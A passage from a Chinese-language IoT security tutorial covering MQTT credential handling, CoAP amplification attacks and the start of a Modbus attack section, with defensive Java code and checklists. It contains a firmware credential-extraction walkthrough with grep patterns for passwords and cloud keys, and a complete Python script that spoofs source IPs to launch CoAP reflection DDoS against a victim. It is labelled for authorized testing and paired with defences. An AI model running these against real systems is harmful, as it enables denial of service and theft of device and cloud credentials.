后果:一台设备被拆,所有设备的凭据全泄露
(固件提取只要 10 分钟)
② 每台设备烧录唯一凭据 ← 正确做法
代价:生产过程要为每台设备生成并烧录,需要产线支持
设备要安全存储凭据(需要安全芯片 / TEE)
③ 设备证书(mTLS) ← 最安全
代价:证书管理复杂,需要 PKI 体系
固件提取实战:
# ========== 步骤 1:拿到固件 ==========
# 方式 A:官网下载(最容易,很多人忘了 firmware 页面也要鉴权)
wget https://vendor.com/firmware/device_v2.1.3.bin
# 方式 B:OTA 升级时抓包(中间人,如果没校验证书)
# 方式 C:拆机读 Flash(见 5.8 节)
# 方式 D:从设备 shell 里 dump(如果有 UART / telnet)
# ========== 步骤 2:识别固件格式 ==========
file firmware.bin
# firmware.bin: u-boot legacy uImage, Linux-3.10.14, ...
binwalk firmware.bin
# DECIMAL HEXADECIMAL DESCRIPTION
# 0 0x0 uImage header
# 64 0x40 LZMA compressed data
# 1048576 0x100000 Squashfs filesystem, little endian
# ========== 步骤 3:提取文件系统 ==========
binwalk -e firmware.bin # -e = extract
# 或者
binwalk -Me firmware.bin # -M = 递归提取(嵌套的文件系统)
cd _firmware.bin.extracted/squashfs-root/
# ========== 步骤 4:搜索凭据 ==========
# ★ 最常见:直接在配置文件里
grep -rE "mqtt|broker|mqtt_server|MQTT_HOST" . 2>/dev/null | head -20
# ./etc/config/mqtt.conf:
# broker_host = "mqtt.vendor.com"
# broker_port = 1883
# username = "device"
# password = "Dev1ce@2024!" ← ★ 拿到了!
# 在二进制里搜字符串
strings -n 8 ./usr/bin/device_app | grep -iE "mqtt|pass|token|key|secret"
# MQTT_CLIENT_ID
# mqtt://device:Dev1ce@2024!@mqtt.vendor.com:1883 ← ★ URI 里直接带密码
# 搜常见的配置文件位置
cat ./etc/config/*
cat ./etc/passwd # 可能有后门账号
cat ./etc/shadow # 可能有 root 密码 hash
# 搜私钥
find . -name "*.pem" -o -name "*.key" -o -name "*.p12"
# ./etc/ssl/private/client.key ← ★ 客户端私钥!
# 搜云凭据
grep -rE "AKIA[0-9A-Z]{16}" . # AWS Access Key
grep -rE "AccessKeyId|SecretAccessKey" .
grep -rE "AIza[0-9A-Za-z_-]{35}" . # Google API Key
# ========== 步骤 5:验证凭据有效 ==========
mosquitto_sub -h mqtt.vendor.com -u device -P 'Dev1ce@2024!' -t '#' -v
# Connection Code: 0 ← 成功!整个系统的所有数据都能看到
# ========== 自动化工具 ==========
# firmwalker:自动扫描固件里的敏感信息
git clone https://github.com/craigz28/firmwalker
./firmwalker.sh ./squashfs-root/
# 输出:
# [+] Possible MQTT credentials:
# ./etc/config/mqtt.conf
# [+] Possible private keys:
# ./etc/ssl/private/client.key
# [+] Possible passwords:
# ./etc/passwd
✅ 正确做法:一机一密 + 动态凭据
/**
* 设备凭据管理:一机一密 + 动态下发
*
* ★ 核心思想:
* 1. 出厂时烧录:设备唯一 ID + 设备私钥(或预共享密钥)
* 2. 首次联网时,用设备证书/密钥做"设备认证"
* 3. 认证通过后,服务端下发【临时的】MQTT 凭据
* 4. 凭据定期轮换
*
* 好处:
* - 固件里没有写死的 MQTT 密码(提取固件也拿不到能直接用的凭据)
* - 每台设备的凭据不同(一台泄露不影响其他)
* - 凭据有过期时间(泄露后影响有限)
* - 可以单独吊销某台设备
*
* 生活类比:
* 写死密码 = 所有员工共用一把大门钥匙(丢一把,全公司换锁)
* 一机一密 = 每个员工一张工牌(丢一张,只吊销那一张)
* 动态凭据 = 工牌每天失效,第二天要重新激活
*/
@Service
@Slf4j
public class DeviceCredentialService {
@Autowired
private DeviceRegistry deviceRegistry;
@Autowired
private MqttCredentialRepository credentialRepo;
/**
* 设备激活:用出厂密钥换取 MQTT 凭据
*
* 流程(设备首次启动时调用一次):
* 1. 设备用出厂私钥对随机数签名
* 2. 服务端用设备公钥验证签名
* 3. 验证通过 → 生成 MQTT 凭据 → 返回给设备
*/
public MqttCredential activateDevice(DeviceActivateRequest request) {
// ===== ① 查找设备 =====
Device device = deviceRegistry.findByDeviceId(request.getDeviceId())
.orElseThrow(() -> new BizException("设备未注册"));
// ===== ② ★ 验证设备签名(最关键)=====
// 设备用出厂烧录的私钥对 challenge 签名,
// 服务端用预存的公钥验证
// 这一步证明"你是真的设备,不是伪造的"
if (!verifyDeviceSignature(
device.getPublicKey(),
request.getChallenge(),
request.getSignature())) {
log.error("[设备激活] 签名验证失败. deviceId={}, ip={}",
request.getDeviceId(), request.getClientIp());
securityEventService.record("DEVICE_SIGNATURE_INVALID",
request.getDeviceId());
throw new BizException("设备认证失败");
}
// ===== ③ 检查设备状态 =====
if (device.getStatus() == DeviceStatus.DISABLED) {
throw new BizException("设备已被禁用");
}
if (device.getStatus() == DeviceStatus.COMPROMISED) {
// 已标记为失陷的设备,拒绝激活并告警
log.error("[设备激活] 疑似失陷设备尝试激活. deviceId={}", device.getDeviceId());
alertService.sendCritical("COMPROMISED_DEVICE_ACTIVATION", device.getDeviceId());
throw new BizException("设备认证失败");
}
// ===== ④ 生成唯一凭据(每台设备不同)=====
String username = "dev_" + device.getDeviceId();
String password = generateSecurePassword(); // 32 字节随机
// ===== ⑤ 存储(BCrypt hash,不存明文)=====
MqttCredential credential = MqttCredential.builder()
.deviceId(device.getDeviceId())
.username(username)
.passwordHash(BCrypt.hashpw(password, BCrypt.gensalt(12)))
.issuedAt(System.currentTimeMillis())
.expiresAt(System.currentTimeMillis() + Duration.ofDays(90).toMillis())
.status(CredentialStatus.ACTIVE)
.build();
credentialRepo.save(credential);
// ===== ⑥ 写入 Broker(动态生效,不用重启)=====
mqttAdminClient.addUser(username, password);
mqttAdminClient.addAcl(username, "devices/" + device.getDeviceId() + "/up/#", "publish");
mqttAdminClient.addAcl(username, "devices/" + device.getDeviceId() + "/down/#", "subscribe");
mqttAdminClient.addAcl(username, "#", "deny"); // ★ 禁止订阅全部
mqttAdminClient.addAcl(username, "$SYS/#", "deny"); // ★ 禁止系统主题
// ===== ⑦ 更新设备状态 =====
device.setStatus(DeviceStatus.ACTIVATED);
device.setLastActivateAt(System.currentTimeMillis());
device.setLastActivateIp(request.getClientIp());
deviceRegistry.save(device);
log.info("[设备激活] 成功. deviceId={}, 凭据有效期 90 天", device.getDeviceId());
// ===== ⑧ 返回凭据(只返回这一次,之后查不到明文)=====
return new MqttCredential(username, password,
System.currentTimeMillis() + Duration.ofDays(90).toMillis());
}
/**
* 凭据轮换(定期执行)
*/
@Scheduled(cron = "0 0 3 * * ?") // 每天凌晨 3 点
public void rotateExpiringCredentials() {
// 找出 7 天内过期的凭据
long threshold = System.currentTimeMillis() + Duration.ofDays(7).toMillis();
List<MqttCredential> expiring =
credentialRepo.findExpiringBefore(threshold, CredentialStatus.ACTIVE);
log.info("[凭据轮换] 开始轮换 {} 个即将过期的凭据", expiring.size());
for (MqttCredential cred : expiring) {
try {
// ① 生成新凭据
String newPassword = generateSecurePassword();
// ② 更新 Broker(先加新的)
mqttAdminClient.updatePassword(cred.getUsername(), newPassword);
// ③ 更新数据库
cred.setPasswordHash(BCrypt.hashpw(newPassword, BCrypt.gensalt(12)));
cred.setIssuedAt(System.currentTimeMillis());
cred.setExpiresAt(System.currentTimeMillis() + Duration.ofDays(90).toMillis());
credentialRepo.save(cred);
// ④ 通过 MQTT 下发新凭据给设备(加密通道)
mqttPushService.pushNewCredential(cred.getDeviceId(), newPassword);
log.debug("[凭据轮换] 完成. deviceId={}", cred.getDeviceId());
} catch (Exception e) {
log.error("[凭据轮换] 失败. deviceId={}", cred.getDeviceId(), e);
}
}
}
/**
* 吊销单个设备(发现失陷时)
*/
@Transactional
public void revokeDevice(String deviceId, String reason) {
MqttCredential cred = credentialRepo.findByDeviceId(deviceId)
.orElseThrow(() -> new BizException("凭据不存在"));
// ① 从 Broker 删除用户(立即生效,设备下次重连连不上)
mqttAdminClient.deleteUser(cred.getUsername());
// ② 断开该设备当前的所有连接
mqttAdminClient.kickClient("dev_" + deviceId);
// ③ 更新数据库状态
cred.setStatus(CredentialStatus.REVOKED);
cred.setRevokedAt(System.currentTimeMillis());
cred.setRevokeReason(reason);
credentialRepo.save(cred);
// ④ 更新设备状态
deviceRegistry.markCompromised(deviceId, reason);
log.warn("[设备吊销] deviceId={}, reason={}", deviceId, reason);
alertService.send("DEVICE_REVOKED", deviceId + " - " + reason);
}
private String generateSecurePassword() {
byte[] bytes = new byte[32];
SecureRandom.getInstanceStrong().nextBytes(bytes);
return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
}
private boolean verifyDeviceSignature(String publicKeyPem, byte[] challenge,
byte[] signature) {
try {
// 解析公钥
String base64 = publicKeyPem
.replace("-----BEGIN PUBLIC KEY-----", "")
.replace("-----END PUBLIC KEY-----", "")
.replaceAll("\\s", "");
X509EncodedKeySpec keySpec =
new X509EncodedKeySpec(Base64.getDecoder().decode(base64));
PublicKey publicKey =
KeyFactory.getInstance("EC").generatePublic(keySpec);
// 验证签名
Signature sig = Signature.getInstance("SHA256withECDSA");
sig.initVerify(publicKey);
sig.update(challenge);
return sig.verify(signature);
} catch (Exception e) {
log.error("设备签名验证异常", e);
return false;
}
}
}
5.5.9 MQTT 安全检查清单
MQTT 上线前必查(15 项):
认证:
☐ allow_anonymous false(★ 最重要,禁用匿名)
☐ 使用 TLS(8883 端口),不用明文 1883
☐ 一机一密,不用全局共享密码
☐ 密码用 BCrypt/Argon2 存储,不存明文
☐ 高安全场景用 mTLS(客户端证书)
☐ 固件里不硬编码可用凭据
授权(ACL):
☐ 默认拒绝(no_match = deny)
☐ 禁止订阅 #(防止一台设备订阅全部数据)
☐ 禁止订阅 $SYS/#(防止泄露设备清单和 IP)
☐ 设备只能访问自己 ID 下的 Topic(用 %u / ${username} 变量)
☐ 上行(up/)和下行(down/)Topic 分离
☐ 禁止设备发布保留消息到指令/配置类 Topic
协议与资源:
☐ 限制单条消息大小(≤1MB)
☐ 限制最大连接数
☐ 限制 inflight 消息数(防 QoS2 内存耗尽)
☐ 限制离线消息队列长度
☐ 设置合理的 keepalive 和超时
监控:
☐ 记录连接/断开/认证失败日志
☐ 告警:认证失败次数异常(爆破)
☐ 告警:同一 ClientID 多地登录(克隆设备)
☐ 告警:保留消息被篡改
☐ 告警:订阅 # 或 $SYS/# 的行为
5.6 CoAP 安全(UDP 上的迷你 HTTP)
5.6.1 CoAP 是什么
白话:CoAP 是给极度受限的设备用的“迷你 HTTP”,跑在 UDP 上。
为什么不用 HTTP:
场景:一个纽扣电池供电的温度传感器,要工作 2 年
HTTP 的问题:
- TCP 三次握手 = 3 个往返(耗电)
- TCP 头部 20 字节(对 6LoWPAN 的 127 字节 MTU 来说太大)
- HTTP 头部几百字节(一条温度数据才几个字节,头比身体大)
- 必须保持连接(耗电)
CoAP 的解法:
- 跑在 UDP 上(无连接,无握手)
- 头部只有 4 字节!(对比 HTTP 的几百字节)
- 二进制格式(不是文本)
- 支持 CON/NON 两种消息(可靠/不可靠,自己选)
- 支持 Observe(订阅资源变化,类似 MQTT 的订阅)
CoAP 报文头只有 4 字节:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Ver| T | TKL | Code | Message ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Token (0-8 bytes) | Options | Payload Marker (0xFF) ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Ver = 版本(2 位)= 01
T = 类型(2 位):CON(0) 需要确认 / NON(1) 不需要 / ACK(2) / RST(3)
TKL = Token 长度(4 位)
Code = 方法/响应码(8 位):0.01=GET 0.02=POST 2.05=Content
Message ID = 消息 ID(16 位)
CoAP 与 HTTP 的对应关系:
| HTTP | CoAP | 说明 |
|---|---|---|
| GET | 0.01 | 获取资源 |
| POST | 0.02 | 创建/处理 |
| PUT | 0.03 | 更新资源 |
| DELETE | 0.04 | 删除资源 |
| 200 OK | 2.05 Content | 成功 |
| 404 | 4.04 Not Found | 未找到 |
http:// |
coap:// |
UDP 端口 5683 |
https:// |
coaps:// |
DTLS 端口 5684 |
5.6.2 ★ 放大反射攻击(CoAP 最致命的问题)
原理(和 DNS 放大一样,但更狠):
放大反射三要素:
① 协议跑在 UDP 上(可以伪造源 IP)
② 请求包小、响应包大(放大倍数)
③ 服务器不验证源 IP
CoAP 完美符合:
① UDP(无握手,源 IP 可以随便填)
② 请求最小 4 字节头部!响应可以是几 KB
→ 放大倍数可达 10~50 倍
③ CoAP 默认无认证,来者不拒
攻击流程:
攻击者(1 Mbps 带宽)
│
│ 伪造源 IP = 受害者 IP
│ 发送请求:GET /.well-known/core(4 字节 + 几字节 URI)
↓
CoAP 服务器 × 10000 台
│
│ 每台返回几 KB 的资源列表
↓
受害者(收到 10~50 Mbps 流量)→ 带宽打满 → 服务不可用
实测放大倍数(真实研究数据):
| 请求 | 请求大小 | 响应大小 | 放大倍数 |
|---|---|---|---|
GET /.well-known/core |
~20 字节 | 200~2000 字节 | 10~100 倍 |
GET /large-resource |
~15 字节 | 数 KB | 100~500 倍 |
| Observe 订阅 | ~30 字节 | 持续推送 | 无限(持续性) |
攻击复现(授权环境):
#!/usr/bin/env python3
"""
CoAP 放大反射攻击演示(仅用于授权测试环境)
原理:
1. 构造 CoAP GET 请求
2. 伪造源 IP 为受害者 IP
3. 发给大量开放的 CoAP 服务器
4. 服务器把响应发给受害者
"""
import socket
import struct
import random
import sys
def build_coap_get(uri_path: str = ".well-known/core",
msg_id: int = None) -> bytes:
"""
构造 CoAP GET 请求
CoAP 头部(4 字节):
Ver(2) | T(2) | TKL(4) | Code(8) | Message ID(16)
Ver = 01 (版本 1)
T = 01 (NON,不需要确认 —— 攻击者用 NON 更快)
TKL = 0000 (无 token)
Code = 0.01 (GET) → 编码为 0b00000001 = 0x01
Option 11 = Uri-Path
"""
if msg_id is None:
msg_id = random.randint(0, 65535)
# 第一个字节:Ver(2) T(2) TKL(4)
# Ver=01, T=01(NON), TKL=0000
byte0 = 0b01_01_0000 # = 0x50
# 第二个字节:Code
byte1 = 0x01 # GET
# 第 3-4 字节:Message ID(大端)
header = struct.pack('!BBH', byte0, byte1, msg_id)
# Uri-Path Option
# Option 格式:Delta(4) | Length(4) | Value
# Delta = 11 - 0 = 11(上一个 option number 是 0)
# Length = len(uri_path)
options = b''
for i, segment in enumerate(uri_path.split('/')):
seg_bytes = segment.encode('utf-8')
seg_len = len(seg_bytes)
# Option delta:第一段是 11,后续是 0(都是 Uri-Path)
delta = 11 if i == 0 else 0
# 处理 delta 和 length 的扩展(>12 时需要扩展字节)
# 这里简化处理,假设都 < 13
if delta < 13 and seg_len < 13:
options += struct.pack('!B', (delta << 4) | seg_len)
options += seg_bytes
else:
# 扩展格式(略)
pass
return header + options
def spoof_attack(victim_ip: str, coap_servers: list, duration: int = 60):
"""
伪造源 IP 发起攻击
注意:UDP 伪造源 IP 需要能发送原始套接字(通常需要 root)
"""
print(f"[*] 目标受害者: {victim_ip}")
print(f"[*] CoAP 服务器数量: {len(coap_servers)}")
print(f"[*] 持续时间: {duration} 秒")
# 创建原始套接字(需要 root 权限)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
except PermissionError:
print("[-] 需要 root 权限才能发送原始套接字")
return
payload = build_coap_get()
print(f"[*] 请求包大小: {len(payload)} 字节")
print(f"[*] 预期响应: 200~2000 字节")
print(f"[*] 预期放大倍数: 10~100 倍")
import time
end_time = time.time() + duration
sent = 0
while time.time() < end_time:
for target in coap_servers:
try:
target_ip, target_port = target.split(':')
target_port = int(target_port)
send_spoofed_udp(sock, victim_ip, random.randint(1024, 65535),
target_ip, target_port, payload)
sent += 1
except Exception as e:
pass
print(f"[+] 攻击结束,共发送 {sent} 个伪造请求")
def send_spoofed_udp(sock, src_ip, src_port, dst_ip, dst_port, payload):
"""手工构造 UDP + IP 包,伪造源 IP"""
# UDP 头部
udp_length = 8 + len(payload)
udp_header = struct.pack('!HHHH', src_port, dst_port, udp_length, 0)
# 伪首部(用于校验和计算)
pseudo_header = socket.inet_aton(src_ip) + socket.inet_aton(dst_ip) + \
struct.pack('!BBH', 0, socket.IPPROTO_UDP, udp_length)
# 计算校验和
checksum_data = pseudo_header + udp_header + payload
if len(checksum_data) % 2:
checksum_data += b'\x00'
checksum = calculate_checksum(checksum_data)
udp_header = struct.pack('!HHHH', src_port, dst_port, udp_length, checksum)
# IP 头部
ip_header = struct.pack('!BBHHHBBH4s4s',
0x45, # 版本 4 + 头长 5*4=20
0, # TOS
20 + udp_length, # 总长度
random.randint(0, 65535),# ID
0, # 标志 + 片偏移
64, # TTL
socket.IPPROTO_UDP, # 协议
0, # 校验和(内核会填)
socket.inet_aton(src_ip),
socket.inet_aton(dst_ip))
sock.sendto(ip_header + udp_header + payload, (dst_ip, 0))
def calculate_checksum(data):
"""计算 16 位校验和"""
if len(data) % 2:
data += b'\x00'
total = 0
for i in range(0, len(data), 2):
total += (data[i] << 8) + data[i+1]
while total >> 16:
total = (total & 0xFFFF) + (total >> 16)
return ~total & 0xFFFF
if __name__ == '__main__':
print("=" * 70)
print("CoAP 放大反射攻击演示 —— 仅用于授权测试")
print("=" * 70)
print("\n⚠️ 警告:此脚本仅用于你拥有明确授权的环境")
print(" 未经授权使用可能违反《网络安全法》第 27 条\n")
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <受害者IP> <CoAP服务器列表文件>")
sys.exit(1)
victim = sys.argv[1]
with open(sys.argv[2]) as f:
servers = [line.strip() for line in f if line.strip()]
spoof_attack(victim, servers)
5.6.3 CoAP 放大反射的防御
三层防御:
# ========== ① 网络层:入口过滤(BCP 38)—— 最根本的解决 ==========
#
# 原理:ISP 在边界路由器上丢弃"源 IP 不属于本网段"的出站包
# 这样攻击者根本伪造不了 IP
#
# 这是 2000 年就有的标准(RFC 2827 / BCP 38),
# 但全球仍有大量 ISP 没有部署(约 30%)
#
# Cisco 配置示例:
interface GigabitEthernet0/0
ip verify unicast source reachable-via rx
!
# Linux:
iptables -A FORWARD -i eth1 -s ! 203.0.113.0/24 -j DROP
# (eth1 是接客户的接口,只允许客户网段的源 IP 出去)
# ========== ② 服务器层:CoAP 服务器自身加固 ==========
# (a) 禁用 /.well-known/core 的匿名访问
# CoAP 规范规定这个 URI 要返回资源列表,
# 但生产环境应该限制或缩小内容
#
# californium (Java CoAP 框架) 配置:
# coap.wellknown.core.max-size=200 ← 限制列表大小
# 或者直接移除该资源
# (b) 限制响应大小
# 无论请求什么,响应都不超过某个上限
# (c) 速率限制(按源 IP)
# 虽然源 IP 可伪造,但能限制从单一源来的请求速率
# (d) 要求 DTLS(coaps://)
# DTLS 需要握手,握手要能收到响应 → 无法伪造源 IP
# ★ 这是服务器端最有效的防御
# (e) 只响应 CON,不响应 NON
# NON 消息不需要确认,攻击者最爱用
# 但这会影响正常业务
# ========== ③ 受害者层:DDoS 防护 ==========
# - 上游 ISP 清洗
# - 云防护(Cloudflare / 阿里云高防)
# - Anycast 分散流量
Californium(Java CoAP)安全配置:
/**
* CoAP 服务器安全配置(基于 Eclipse Californium)
*
* 关键配置:
* ① 限制 /.well-known/core 的大小(防放大)
* ② 启用 DTLS
* ③ 速率限制
* ④ 响应大小限制
*/
@Configuration
@Slf4j
public class CoapServerConfig {
@Bean(initMethod = "start", destroyMethod = "destroy")
public CoapServer coapServer() {
CoapConfig config = CoapConfig.create();
// ========== ① 防放大反射(最关键)==========
// 限制 /.well-known/core 返回的最大大小
config.setInt(NetworkConfig.Keys.WELL_KNOWN_CORE_MAX_SIZE, 200);
// 默认是无限制的,攻击者请求一次能拿到几 KB 的资源列表
// 限制单个响应的最大大小
config.setInt(NetworkConfig.Keys.MAX_RESOURCE_BODY_SIZE, 1024);
// 1KB 上限,防止大资源被用作放大器
// ========== ② 消息大小限制 ==========
config.setInt(NetworkConfig.Keys.MAX_MESSAGE_SIZE, 1024);
config.setInt(NetworkConfig.Keys.PREFERRED_BLOCK_SIZE, 256);
// ========== ③ 速率限制 ==========
// 每个源 IP 每秒最多 10 个请求
config.setInt(NetworkConfig.Keys.MAX_ACTIVE_PEERS, 1000);
// 超过这个数量的活跃 peer 会被清理
// ========== ④ 去重(防重放)==========
config.setBoolean(NetworkConfig.Keys.DEDUPLICATOR_AUTO_REPLACE, true);
config.setInt(NetworkConfig.Keys.DEDUPLICATOR_MARK_AND_SWEEP_MILLIS, 10000);
// ========== ⑤ 传输层限制 ==========
// 重传超时和次数(防止 CON 消息被无限重传放大)
config.setLong(NetworkConfig.Keys.ACK_TIMEOUT, 2000);
config.setFloat(NetworkConfig.Keys.ACK_RANDOM_FACTOR, 1.5f);
config.setInt(NetworkConfig.Keys.MAX_RETRANSMIT, 4);
config.setLong(NetworkConfig.Keys.EXCHANGE_LIFETIME, 247000);
// ========== ⑥ 启用 DTLS ==========
CoapServer server = new CoapServer(config);
// 明文端点(仅限内网/测试)
// server.addEndpoint(new CoapEndpoint(new CoapEndpoint.Builder()
// .setInetSocketAddress(new InetSocketAddress(5683))));
// DTLS 端点(生产环境)
DtlsConnectorConfig.Builder dtlsConfig = new DtlsConnectorConfig.Builder();
dtlsConfig.setAddress(new InetSocketAddress(5684));
// 只支持 DTLS 1.2+
dtlsConfig.setSupportedCipherSuites(
CipherSuite.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
CipherSuite.TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8,
CipherSuite.TLS_ECDHE_ECDSA_WITH_AES_128_CCM
);
// ★ 要求客户端证书(mTLS,IoT 场景推荐)
dtlsConfig.setClientAuthenticationRequired(true);
dtlsConfig.setAdvancedCertificateVerifier(new DeviceCertificateVerifier());
server.addEndpoint(new CoapEndpoint(dtlsConfig.build()));
// ========== ⑦ 添加速率限制拦截器 ==========
server.addInterceptor(new RateLimitInterceptor());
log.info("[CoAP] 服务器启动. DTLS 端口 5684, 要求客户端证书");
return server;
}
/**
* 速率限制拦截器
*/
static class RateLimitInterceptor implements MessageInterceptor {
private final Cache<String, AtomicInteger> counters =
Caffeine.newBuilder()
.expireAfterWrite(Duration.ofSeconds(1))
.build();
private static final int MAX_REQUESTS_PER_SECOND = 10;
@Override
public void receiveRequest(Exchange exchange, Request request) {
String peerIp = request.getSourceContext().getPeerAddress().getAddress()
.getHostAddress();
AtomicInteger counter = counters.get(peerIp, k -> new AtomicInteger(0));
int count = counter.incrementAndGet();
if (count > MAX_REQUESTS_PER_SECOND) {
log.warn("[CoAP] 速率超限,丢弃请求. peer={}, count={}", peerIp, count);
// 直接拒绝(不响应 RST,避免额外流量)
// 或者响应 4.29 Too Many Requests
request.setRejected(true);
}
}
@Override public void sendRequest(Exchange exchange, Request request) {}
@Override public void receiveResponse(Exchange exchange, Response response) {}
@Override public void sendResponse(Exchange exchange, Response response) {}
@Override public void sendEmptyMessage(Exchange exchange, EmptyMessage message) {}
@Override public void receiveEmptyMessage(Exchange exchange, EmptyMessage message) {}
}
}
5.6.4 CoAP 的其他安全问题
| 问题 | 说明 | 后果 | 防御 |
|---|---|---|---|
| 无认证 | CoAP 本身没有认证机制 | 任何人能读写资源 | DTLS + PSK/证书 |
| Observe 订阅泄露 | 订阅资源变化,数据持续推送 | 长期数据泄露 | 订阅需要鉴权 |
| IP 欺骗 | UDP 无连接,源 IP 可伪造 | 绕过 IP 白名单 | DTLS 握手验证 |
| DTLS 握手 DoS | DTLS 握手是 CPU 密集操作 | 资源耗尽 | Cookie 机制(DTLS 自带)+ 速率限制 |
| 重放 | UDP 包可被Capture重放 | 重复执行操作 | DTLS 序列号 + 应用层 nonce |
| 组播放大 | CoAP 支持组播,一个请求多个响应 | 内网放大攻击 | 限制组播范围 |
| 资源发现泄露 | /.well-known/core 列出所有资源 |
暴露攻击面 | 限制内容 / 要求认证 |
5.7 工控协议安全(Modbus / S7comm)
这一节要讲清楚一件事:工控协议的漏洞不是丢数据,是物理世界出事。 2010 年 Stuxnet(震网)通过篡改 PLC 的离心机转速,物理摧毁了伊朗的核设施。 2015 年乌克兰电网被攻击,22 万人停电 6 小时。 2021 年 Colonial Pipeline 输油管道被勒索,美国东海岸燃油断供。
5.7.1 Modbus 是什么(1979 年的设计)
白话:Modbus 是工业设备(PLC、传感器、电机、阀门)之间通信的协议, 1979 年由 Modicon 公司设计,设计的时候完全没有考虑安全。
有多不安全:
Modbus TCP 报文:
┌──────────────────────────────────────────┐
│ 事务标识符 (2 字节) │
│ 协议标识符 (2 字节) = 0x0000 │
│ 长度字段 (2 字节) │
│ 单元标识符 (1 字节) = 从站地址 │
├──────────────────────────────────────────┤
│ 功能码 (1 字节) ← ★ 我要干什么 │
│ 数据 (N 字节) ← 地址 + 值 │
└──────────────────────────────────────────┘
★ 看到了吗?没有:
- 没有认证(不需要用户名密码)
- 没有加密(明文传输)
- 没有完整性校验(改了不知道)
- 没有防重放(录下来重发就行)
- 没有序列号(不知道是不是重复的包)
任何能连到 502 端口的人,都能直接读写设备。
对比一下有多离谱:
| 维度 | HTTP | Modbus |
|---|---|---|
| 认证 | Basic/Bearer/JWT/Cookie | 无 |
| 加密 | TLS | 无 |
| 完整性 | TLS MAC | 无 |
| 防重放 | TLS 序列号 + nonce | 无 |
| 授权 | RBAC / ACL | 无(能连就能写) |
生活类比: HTTP 接口 = 银行柜台,要身份证、要签字、有监控、有保安 Modbus = 一个敞开的配电箱,上面贴着标签“1 号开关”、“2 号开关”, 任何人走过去都能拨动。
5.7.2 Modbus 功能码(攻击者的操作清单)
常用功能码:
| 功能码 | 名称 | 作用 | 危险等级 | 影响的物理世界 |
|---|---|---|---|---|
| 0x01 | Read Coils | 读线圈(开关量输出)状态 | 🟡 信息泄露 | 知道哪些阀门开着 |
| 0x02 | Read Discrete Inputs | 读离散输入 | 🟡 信息泄露 | 知道传感器状态 |
| 0x03 | Read Holding Registers | 读保持寄存器 | 🟡 信息泄露 | 读到设定值、参数 |
| 0x04 | Read Input Registers | 读输入寄存器 | 🟡 信息泄露 | 读到实测值 |
| 0x05 | Write Single Coil | 写单个线圈 | 🔴 致命 | 开/关一个继电器 → 电机启停、阀门开关 |
| 0x06 | Write Single Register | 写单个寄存器 | 🔴 致命 | 改一个设定值 → 温度、压力、转速 |
| 0x0F | Write Multiple Coils | 写多个线圈 | 🔴 致命 | 批量开关 → 整条产线停机 |
| 0x10 | Write Multiple Registers | 写多个寄存器 | 🔴 致命 | 批量改参数 → 工艺全乱 |
| 0x2B | Read Device Identification | 读设备标识 | 🟡 指纹识别 | 知道厂商、型号、版本 |
| 0x11 | Report Slave ID | 读从站 ID | 🟡 指纹识别 | |
| 0x08 | Diagnostics | 诊断 | 🟠 中危 | 某些实现能重启设备 |
四种数据类型(理解这个才能看懂攻击):
工控里的数据分四类,用"线圈"和"寄存器"两组词区分:
┌──────────────┬──────────────┬──────────────┐
│ │ 可读可写 │ 只读 │
├──────────────┼──────────────┼──────────────┤
│ 位(1 bit) │ Coil 线圈 │ Discrete Input│
│ 开关量 │ 0x01 读 │ 离散输入 │
│ │ 0x05 写单个 │ 0x02 读 │
│ │ 0x0F 写多个 │ │
│ │ 例:电机启停 │ 例:限位开关 │
├──────────────┼──────────────┼──────────────┤
│ 字(16 bit) │ Holding │ Input │
│ 数值量 │ Register │ Register │
│ │ 保持寄存器 │ 输入寄存器 │
│ │ 0x03 读 │ 0x04 读 │
│ │ 0x06 写单个 │ │
│ │ 0x10 写多个 │ │
│ │ 例:目标温度 │ 例:实测温度 │
└──────────────┴──────────────┴──────────────┘
记住:
Coil = 开关(1 位,开/关)
Register = 数值(16 位,0~65535)
Holding = 可写的(设定值)
Input = 只读的(测量值)
5.7.3 ★ Modbus 攻击实战(从扫描到物理影响)
#!/usr/bin/env python3
"""
Modbus TCP 攻击演示 —— 仅用于授权靶场
警告:
⚠️ 未经授权对工业控制系统进行测试在绝大多数国家是【违法】的
⚠️ 真实工控系统的误操作可能导致:
- 设备损坏(几百万到几亿)
- 生产事故(人员伤亡)
- 环境事故(泄漏、爆炸)
⚠️ 本脚本仅用于:
- 自建的工控靶场(如 Conpot、MiniCPS)
- 客户明确书面授权的渗透测试
- 教学演示
推荐靶场:
- Conpot (https://github.com/mushorg/conpot) —— 工控蜜罐/靶场
- MiniCPS (https://github.com/scy-phy/minicps) —— 工控仿真
"""
import socket
import struct
import sys
import time
from typing import Optional, List, Tuple
# ============ Modbus 功能码 ============
READ_COILS = 0x01
READ_DISCRETE_INPUTS = 0x02
READ_HOLDING_REGISTERS = 0x03
READ_INPUT_REGISTERS = 0x04
WRITE_SINGLE_COIL = 0x05
WRITE_SINGLE_REGISTER = 0x06
WRITE_MULTIPLE_COILS = 0x0F
WRITE_MULTIPLE_REGISTERS = 0x10
REPORT_SLAVE_ID = 0x11
READ_DEVICE_ID = 0x2B
# 异常响应:功能码 + 0x80
# 常见异常码:
# 0x01 = 非法功能(设备不支持这个功能码)
# 0x02 = 非法数据地址(地址不存在)
# 0x03 = 非法数据值(值超出范围)
class ModbusClient:
"""极简 Modbus TCP 客户端"""
def __init__(self, host: str, port: int = 502, unit_id: int = 1, timeout: float = 3.0):
self.host = host
self.port = port
self.unit_id = unit_id
self.timeout = timeout
self.transaction_id = 0
self.sock: Optional[socket.socket] = None
def connect(self):
try:
self.sock = socket.create_connection((self.host, self.port), self.timeout)
print(f"[+] 已连接到 {self.host}:{self.port}")
return True
except Exception as e:
print(f"[-] 连接失败: {e}")
